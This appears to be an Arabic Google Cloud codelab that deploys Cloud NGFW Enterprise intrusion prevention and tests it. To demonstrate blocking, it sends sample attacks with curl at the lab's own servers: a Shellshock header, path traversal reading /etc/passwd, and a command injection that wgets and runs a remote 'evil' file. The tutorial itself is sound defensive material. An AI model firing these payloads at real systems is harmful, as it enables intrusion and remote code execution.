Cloud NGFW Enterprise - خدمة منع التسلل (بدون فحص بروتوكول أمان طبقة النقل (TLS))

1. مقدمة

جدار الحماية من الجيل التالي في السحابة الإلكترونية (NGFW)

‫Cloud Next Generation Firewall هي خدمة جدار حماية موزّعة بالكامل مع إمكانات حماية متقدّمة وتقسيم دقيق وغطّة شاملة لحماية أعباء العمل في Google Cloud من الهجمات الداخلية والخارجية.

توفّر حلول Cloud NGFW المزايا التالية:

  • خدمة جدار الحماية الموزَّع: توفّر حلول "جدران الحماية من الجيل التالي" (NGFW) في السحابة الإلكترونية ميزة فرض قواعد الأمان المستندة إلى المضيف بالكامل والمستندة إلى الحالة على كلّ عمل على حدة لتفعيل بنية الأمان المستندة إلى مبدأ "عدم الثقة".
  • عملية الضبط والنشر المبسّطة: تُنفِّذ حلول Cloud NGFW سياسات جدار الحماية للشبكة والجداول الهرميّة التي يمكن إرفاقها بعقدة تسلسل هرمي للموارد. توفّر هذه السياسات تجربة متسقة لجدار الحماية على مستوى التسلسل الهرمي لموارد Google Cloud.
  • التحكّم الدقيق والتقسيم الدقيق: يوفر الجمع بين سياسات جدار الحماية والعلامات الخاضعة لإدارة الهوية وإمكانية الوصول (IAM) إمكانية التحكّم الدقيق في كلّ من حركة البيانات من الشمال إلى الجنوب ومن الشرق إلى الغرب، وصولاً إلى جهاز افتراضي واحد، على مستوى شبكات ومؤسسات السحابة الإلكترونية الخاصة الافتراضية (VPC).

تتوفّر حلول Cloud NGFW في الفئات التالية:

Cloud NGFW Enterprise

تضيف Cloud NGFW Enterprise خدمة منع الاختراق (IPS)، وهي ميزة من الطبقة 7، إلى بنية جدار حماية Google Cloud الموزّعة. يتوفّر فحص بروتوكول أمان طبقة النقل (TLS) للسماح بفحص الزيارات المشفَّرة باستخدام بروتوكول أمان طبقة النقل (TLS)، ولكنّه خارج نطاق هذا الدليل التعليمي (راجِع الدليل التعليمي لبرنامج Cloud NGFW Enterprise Codelab باستخدام فحص بروتوكول أمان طبقة النقل (TLS)).

يمكنك الآن نشر عمليات فحص موثوقة لجدار الحماية من الجيل التالي (NGFW) من الطبقة 7 باستخدام عناصر تحكّم دقيقة، بدون إجراء أي تغييرات على بنية الشبكة أو إعدادات التوجيه.

لتفعيل عنصر التحكّم في جدار الحماية من الطبقة 7 ونشره باستخدام IPS، عليك تنفيذ المهام التالية:

  • أنشئ مجموعة من نقاط نهاية جدار الحماية في المناطق المُدارة في Google Cloud.
  • إنشاء سياسة فحص طبقة النقل الآمنة اختياريًا (لا يتناول هذا الدليل التعليمي هذا الموضوع)
  • إنشاء ملف Trust Config (اختياري) (لا يُغطى هذا الموضوع في هذا الدليل التعليمي)
  • اربط نقاط النهاية هذه بشبكات السحابة الإلكترونية الخاصة الافتراضية (VPC) التي تحتاج فيها إلى خدمة Cloud NGFW Enterprise.
  • يمكنك إجراء تغييرات بسيطة على سياسات جدار الحماية وقواعده الحالية لتحديد الملفات الشخصية لمنع التهديدات لمسارات الزيارات المختلفة.

سياسات جدار حماية الشبكة

تعمل سياسة جدار حماية الشبكة بمثابة حاوية لقواعد جدار الحماية. لا يتم فرض القواعد المحدّدة في سياسة جدار حماية الشبكة في أي مكان إلى أن يتم ربط السياسة بشبكة VPC. يمكن أن تكون لكل شبكة VPC سياسة واحدة لجدار حماية الشبكة مرتبطة بها. تتوافق سياسات جدار حماية الشبكة مع العلامات التي تُديرها إدارة الهوية وإمكانية الوصول (IAM) (أو العلامات فقط) في قواعد جدار الحماية، والتي تستبدل علامات الشبكة الحالية ويمكن استخدامها لتوفير هوية لوحدة العمل.

إنّ مشاركة سياسة جدار حماية الشبكة على جميع الشبكات والدمج مع العلامات الخاضعة لإدارة الهوية وإمكانية الوصول (IAM) يسهّلان بشكل كبير عملية ضبط جدران الحماية وإدارتها.

مع طرح سياسة جدار حماية الشبكة، تتألف سياسات جدار حماية Google Cloud الآن من المكوّنات التالية:

  1. سياسة جدار الحماية الهرمي
  2. قواعد جدار الحماية في VPC
  3. سياسة جدار حماية الشبكة ( عالمي وإقليمي)

تتوفّر سياسات جدار الحماية التسلسلية في عقد المؤسسة والمجلد ضمن التسلسل الهرمي للموارد، في حين يتم تطبيق قواعد جدار حماية VPC وسياسات جدار حماية الشبكة على مستوى VPC. هناك فرق كبير بين قواعد جدار حماية VPC وسياسات جدار حماية الشبكة، وهو أنّه لا يمكن تطبيق قواعد جدار حماية VPC إلا على شبكة VPC واحدة، في حين يمكن إرفاق سياسات جدار حماية الشبكة بشبكة VPC واحدة أو مجموعة من شبكات VPC، بالإضافة إلى مزايا أخرى مثل التعديلات المجمّعة.

أخيرًا، لدينا أيضًا قواعد جدار الحماية الضمنية التي تأتي مع كل شبكة VPC:

  • قاعدة خروج إجراءها السماح، ووجهة 0.0.0.0/0
  • قاعدة دخول يكون إجراءها "رفض" والمصدر هو ‎0.0.0.0/0

يتم عرض تسلسل التنفيذ تلقائيًا في المخطّط البياني التالي:

21b3bcabc469ffe.png

يُرجى العلم أنّه يمكن تبديل ترتيب التنفيذ بين قواعد جدار حماية VPC وسياسة جدار حماية الشبكة الشاملة. يمكن للعملاء تحديد أمر التنفيذ في أي وقت باستخدام أمر gcloud.

العلامات الخاضعة لإدارة "إدارة الهوية وإمكانية الوصول"

إنّ العلامات المدمجة في قواعد سياسة جدار الحماية للشبكة الجديدة هي موارد أزواج مفاتيح/قيم تم تحديدها على مستوى المؤسسة أو مستوى المشروع في التسلسل الهرمي لموارد Google Cloud. تحتوي هذه العلامة على عنصر تحكّم في الوصول في إدارة الهوية وإمكانية الوصول، كما يشير الاسم، والذي يحدّد المستخدمين الذين يمكنهم تنفيذ إجراءات معيّنة على العلامة. على سبيل المثال، تسمح أذونات "إدارة الهوية وإمكانية الوصول" بتحديد المستخدمين الأساسيين الذين يمكنهم منح قيم للعلامات والمستخدمين الأساسيين الذين يمكنهم إرفاق العلامات بالموارد. بعد تطبيق علامة على مورد، يمكن لقواعد جدار حماية الشبكة استخدامها للسماح بمرور البيانات أو رفضها.

تلتزم التصنيفات بنموذج الموارد المكتسَبة في Google Cloud، ما يعني أنّه يتم نقل التصنيفات وقِيمها على مستوى التسلسل الهرمي من التصنيفات الرئيسية. ونتيجةً لذلك، يمكن إنشاء العلامات في مكان واحد ثم استخدامها من قِبل المجلدات والمشاريع الأخرى في التدرّج الهرمي للموارد. يُرجى الانتقال إلى هذه الصفحة للاطّلاع على تفاصيل حول العلامات والقيود المفروضة على الوصول.

يجب عدم الخلط بين العلامات وعلامات الشبكة. وتلك الأخيرة هي سلاسل يمكن إضافتها إلى مثيلات Compute Engine، وهي مرتبطة بالمثيل وتزول عند إيقاف المثيل. قد تتضمّن قواعد جدار حماية VPC علامات الشبكة، ولكن بما أنّها لا تُعتبر موارد سحابة، فهي لا تخضع لإدارة الوصول في "إدارة الهوية وإمكانية الوصول".

يُرجى العلم أنّه يتم استخدام العلامات والعلامات الخاضعة لإدارة الهوية وإمكانية الوصول بالتبادل في هذا المستند.

التطبيق الذي ستصممه

يتطلّب هذا الدليل التعليمي إنشاء مشروع واحد وإنشاء شبكة VPC تتيح الاتصال العام، وسيوضّح كيفية توفير Cloud NGFW Enterprise لوظيفة IPS من خلال:

  • فحص التدفقات داخل شبكة VPC/الشبكة الفرعية [شرق-غرب]
  • فحص تدفقات الإدخال من الإنترنت [الشمال والجنوب]

سيتم اختيار التدفقات التي سيتم فحصها باستخدام مَعلمات مطابقة جدار الحماية في السحابة الإلكترونية، بما في ذلك مجموعة العناصر الخمسة (عنوان IP المصدر وعنوان IP الوجهة والبروتوكول والمنفذ المصدر والمنفذ الوجهة) والعلامات. لا يتضمّن هذا الدليل التعليمي فحص طبقة النقل الآمنة.

52a0642ef8668ecf.png

ستكون قاعدة قواعد سياسة جدار الحماية للشبكة مشابهة للجدول أدناه:

الأولوية

الاتجاه

Target

المصدر

الوجهة

الإجراء

النوع

100

حركة بيانات صادرة

Quarantine_Tag

هل مِن

هل مِن

رفض

الوظائف الأساسية

1000

حركة بيانات واردة

Server_Tag

نطاقات التحقّق من الصحة

هل مِن

السماح

الوظائف الأساسية

2000

حركة بيانات واردة

هل مِن

نطاقات Identity-Aware Proxy

هل مِن

السماح

الوظائف الأساسية

3000

حركة بيانات واردة

هل مِن

Geo، GCTI

هل مِن

رفض

عادي

4000

حركة بيانات صادرة

هل مِن

هل مِن

Geo، GCTI

رفض

عادي

5000

حركة بيانات صادرة

هل مِن

هل مِن

أسماء النطاقات المؤهَّلة بالكامل لتحديثات النظام

السماح

عادي

6000

حركة بيانات واردة

Server_Tag

10.0.0.0/24

هل مِن

IPS

Enterprise

7000

حركة بيانات واردة

Server_Tag

CloudNAT_IP

هل مِن

IPS

Enterprise

ما ستتعرّف عليه

المتطلبات

  • مشروع Google Cloud
  • معرفة بنشر النُسخ وضبط مكوّنات الشبكات
  • معلومات عن إعداد جدار الحماية في VPC

2. قبل البدء

إنشاء متغيّرات أو تعديلها

يستخدم هذا الدرس التطبيقي حول الترميز متغيّرات $variables لمساعدة عملية تنفيذ إعدادات gcloud في Cloud Shell.

في Cloud Shell، نفِّذ الأوامر أدناه مع استبدال المعلومات ضمن الأقواس حسب الحاجة (تخطّى ضبط المشروع إذا سبق ضبط المشروع المطلوب). يتم استخدام متغيّر مختلف للموارد على مستوى المؤسسة إذا كانت هناك حاجة إلى نقاط نهاية متعددة، مثل جدار الحماية.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3- تفعيل واجهات برمجة التطبيقات

فعِّل واجهات برمجة التطبيقات إذا لم يسبق لك إجراء ذلك:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. إنشاء الملف الشخصي للأمان على مستوى المؤسسة ونقطة النهاية في Cloud NGFW

بما أنّ إنشاء نقطة نهاية Cloud NGFW Enterprise يستغرق 20 دقيقة تقريبًا، سيتم إنشاؤها أولاً ويمكن إجراء الإعداد الأساسي بشكل موازٍ أثناء إنشاء نقطة النهاية.

أنشئ ملف التأمين ومجموعة ملفات التأمين:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

الناتج المتوقّع:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

تأكَّد من أنّه تم إنشاء الموارد بنجاح:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

الناتج المتوقّع:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

أنشئ نقطة نهاية Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

نفِّذ الأمر أدناه لتأكيد أنّه يتم إنشاء نقطة النهاية (الحالة: إنشاء).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

الناتج المتوقّع (يُرجى العِلم أنّ تنسيق الإخراج قد يختلف حسب العميل المستخدَم):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

الناتج المتوقّع:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

تستغرق عملية إنشاء نقطة النهاية 20 دقيقة تقريبًا. انتقِل إلى قسم "الإعداد الأساسي" لإنشاء الموارد المطلوبة بشكل موازٍ.

5- الإعداد الأساسي

انتقِل إلى الأقسام التالية إذا كنت تفضّل إنشاء الموارد الأساسية يدويًا.

شبكة VPC والشبكة الفرعية

شبكة VPC والشبكة الفرعية

أنشئ شبكة VPC والشبكة الفرعية:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

أنشئ بوابتَي Cloud Routers وCloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instances

أنشئ نُسخ عميل وخادم ويب:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

العلامات على مستوى المشروع

امنح المستخدم إذنَي tagAdmin و/أو tagUser إذا لزم الأمر:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

أنشئ مفتاح العلامة وقيمها على مستوى المشروع:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

ربط العلامات بالمثيلات:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

سياسة جدار الحماية على مستوى الشبكة

إنشاء سياسة جدار حماية الشبكة العالمية:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

أنشئ قواعد Cloud Firewall الأساسية لرفض الزيارات الواردة من المثيلات التي تم عزلها (تم إنشاؤها كمثال فقط، ولن يتم استخدامها في هذا الدليل التعليمي) والسماح بالزيارات الواردة من نطاقات التحقّق من الصحة والخادم الوكيل المدرك للهوية:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

أنشئ قواعد عادية في "جدار حماية السحابة الإلكترونية" لرفض حركة الدخول والخروج من/إلى البلدان الخاضعة لحظر تجاري وعناوين IP المعروفة بأنّها ضارة وعقد الخروج من شبكة البحوث (TOR)، والسماح فقط بحركة الخروج إلى عناوين FQDN معيّنة لتعديلات النظام (تم إنشاؤها كمثال فقط، ولن يتم استخدامها في هذا الدليل التعليمي):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

أنشئ قواعد جدار حماية Cloud للسماح بالزيارات من النطاقات المحدّدة من الشرق إلى الغرب / داخل الشبكة الفرعية والشمال إلى الجنوب / الإنترنت (سيتم تعديل هذه القواعد لتفعيل Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

اربط سياسة جدار الحماية بالشبكة بشبكة VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

جهاز موازنة حمل شبكة TCP/UDP الخارجي

احجز عنوان IP خارجيًا وأنشئ مجموعة النُسخ وفحص الصحة:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

أنشئ خدمة الخلفية وقاعدة إعادة التوجيه:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6- ربط نقاط النهاية في المؤسسة بخدمات Cloud NGFW

أعِد تحديد متغيّرات البيئة إذا لزم الأمر.

تأكَّد من اكتمال عملية إنشاء نقطة نهاية جدار الحماية في السحابة الإلكترونية بنجاح. لا تواصل الإجراء إلا بعد ظهور الحالة نشِط (خلال عملية الإنشاء، تكون الحالة المتوقّعة هي جارٍ الإنشاء):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

الناتج المتوقّع (يُرجى العِلم أنّ تنسيق الإخراج قد يختلف حسب العميل المستخدَم):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

الناتج المتوقّع:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

اربط نقطة نهاية Cloud NGFW Enterprise بشبكة VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

تستغرق عملية الربط 10 دقائق تقريبًا. لا تواصل الخطوات إلا بعد ظهور الحالة نشِط (الحالة المتوقّعة هي جارٍ الإنشاء أثناء عملية الإنشاء):

gcloud network-security firewall-endpoint-associations list

الناتج المتوقّع:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

يمكنك اختياريًا تنفيذ الأمر أدناه للحصول على مزيد من التفاصيل:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

الناتج المتوقّع:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7- قواعد الفحص في أنظمة "جدران الحماية من الجيل التالي" (NGFW) في السحابة الإلكترونية للمؤسسات

افتح علامة تبويب جديدة وابدأ اتصال SSH بجهاز العميل الافتراضي من خلال IAP (ستحتاج إلى تحديد المتغيّرات مرة أخرى في علامة التبويب الجديدة):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

حدِّد المتغيّرات المطلوبة في جلسة SSH واضبط المتغيّرات (تأكّد من صحة القيم):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

يمكنك استخدام curl مع كلا عنوانَي IP للتأكّد من إمكانية الوصول إليهما:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

النتيجة المتوقّعة لكلا طلبَي curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

أرسِل نماذج الهجمات إلى عنوان IP للخادم الداخلي (الزيارات من الشرق إلى الغرب / داخل شبكة VPC). يجب أن يستجيب خادم الويب لجميع الطلبات، ما يؤكد عدم توفّر فحص أو منع على مستوى الطبقة 7:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

أعِد إرسال عيّنات الهجمات إلى عنوان IP للخادم الخارجي من خلال Cloud NAT (الزيارات الواردة من الشمال إلى الجنوب)، وعلى خادم الويب أيضًا الردّ على جميع الطلبات:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

النتائج المتوقّعة لكلّ من عناوين IP العامة والخاصة:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

ارجع إلى Cloud Shell وعدِّل قواعد الدخول الحالية لتفعيل فحص المستوى 7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

يمكنك اختياريًا وصف قواعد جدار الحماية للتأكّد من تعديل كليهما بنجاح:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

الناتج المتوقّع:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

القاعدة 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

الناتج المتوقّع:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

انتقِل مرة أخرى إلى جهاز العميل الظاهري وأعِد إرسال عيّنات الهجمات إلى عنوان IP للخادم الداخلي (الفحص من الشرق إلى الغرب / داخل شبكة VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

إعادة إرسال نماذج الهجمات إلى عنوان IP للخادم الخارجي من خلال Cloud NAT (الفحص الوارد من الشمال إلى الجنوب):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

لم يتم تلقّي أي ردود على الهجمات الأولى وفقًا للنتيجة المتوقّعة أدناه، ما يؤكّد أنّه يتم الآن حظر الهجمات العالية الخطورة.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
